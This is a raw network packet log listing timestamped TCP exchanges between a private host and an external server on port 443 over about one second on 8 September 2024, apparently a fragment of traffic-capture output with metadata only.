Sep 8, 2024 09:53:42.637402058 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.637429953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.637593031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.637609959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.637645960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.637650013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.637677908 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.638720036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.638731956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.638772011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.638780117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.638811111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.721570969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.721587896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.721807003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.721813917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.721852064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.721858978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.721863031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.721878052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.721898079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.721901894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.721919060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.721935034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.722460032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.722471952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.722524881 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.722531080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.722564936 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.722850084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.722862005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.722910881 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.722915888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.722944975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.723659992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.723671913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.723709106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.723714113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.723737955 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.723754883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.724459887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.724472046 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.724514008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.724518061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.724543095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.724945068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.724956989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.724993944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.724997997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.725024939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.725825071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.725838900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.725878954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.725883961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.725909948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.808614969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.808635950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.808808088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.808815002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.808847904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.808976889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.808990002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.809031010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.809035063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.809060097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.809530020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.809541941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.809581041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.809586048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.809613943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.810091972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.810105085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.810146093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.810149908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.810178995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.810873032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.810889959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.810928106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.810933113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.810962915 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.811772108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.811785936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.811836958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.811841965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.811873913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.812508106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.812520981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.812572002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.812576056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.812603951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.812853098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.812865973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.812916994 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.812922001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.812952995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.126688004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.126707077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.126802921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.126813889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.126974106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.127010107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127023935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127072096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.127078056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127110958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.127268076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127281904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127325058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.127329111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127362967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.127595901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127609968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127650976 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.127655029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127701998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.127901077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127917051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.127979040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.127983093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.128007889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.128031969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.128036976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.128055096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.128062010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.128102064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.128106117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.128113985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.128127098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.128144979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.128149033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.128170967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.128196955 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.129452944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.129465103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.129513025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.129518032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.129550934 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.130103111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130116940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130162954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.130167961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130198002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.130409002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130424023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130471945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.130475998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130508900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.130652905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130666018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130727053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.130732059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130764961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.130830050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130842924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130880117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.130887985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.130949974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.130986929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.131000996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.131052017 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.131057024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.131086111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.131824970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.131839037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.131879091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.131879091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.131889105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.131928921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.131938934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.131958961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.131989002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.132082939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.132101059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.132144928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.132148981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.132179022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.132905960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.132919073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.132967949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.132972956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.132981062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.132998943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.133006096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.133009911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.133048058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.133126020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.133138895 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.133178949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.133183002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.133219957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.133240938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.133255005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.133296967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.133301020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.133332968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134277105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134290934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134336948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134341002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134373903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134403944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134417057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134449959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134454012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134479046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134504080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134527922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134556055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134568930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134598017 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134603024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134629011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134643078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.134963989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.134977102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.135020018 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.135025024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.135056019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.156802893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.156833887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.156860113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.156860113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.156869888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.156888008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.156912088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.157249928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.157264948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.157308102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.157313108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.157344103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.157984972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.157999039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.158041954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.158046007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.158077002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.158298016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.158313036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.158356905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.158361912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.158394098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.158706903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.158720970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.158762932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.158766985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.158798933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.160068035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.160082102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.160145044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.160149097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.160187006 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.162561893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.162581921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.162642956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.162647963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.162683010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.165986061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.165999889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.166047096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.166052103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.166084051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.243838072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.243859053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.243992090 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.244003057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.244043112 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.244227886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.244244099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.244292974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.244297028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.244333982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.244828939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.244843006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.244900942 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.244905949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.244939089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.245136976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.245151043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.245187998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.245192051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.245219946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.245235920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.245784998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.245798111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.245846987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.245856047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.245888948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.246458054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.246471882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.246773958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.246781111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.246820927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.249203920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.249219894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.249274015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.249279022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.249311924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.252759933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.252772093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.252820015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.252824068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.252856970 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.330986977 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.331013918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.331130981 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.331146002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.331190109 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.331197023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.331213951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.331259966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.331264973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.331295967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.331866026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.331880093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.331942081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.331950903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.331984997 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.332046986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.332061052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.332108974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.332113981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.332146883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.332567930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.332581997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.332627058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.332632065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.332667112 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.333522081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.333539963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.333584070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.333587885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.333622932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.336251974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.336266994 CEST	443	49710	185.93.1.250	192.168.2.6
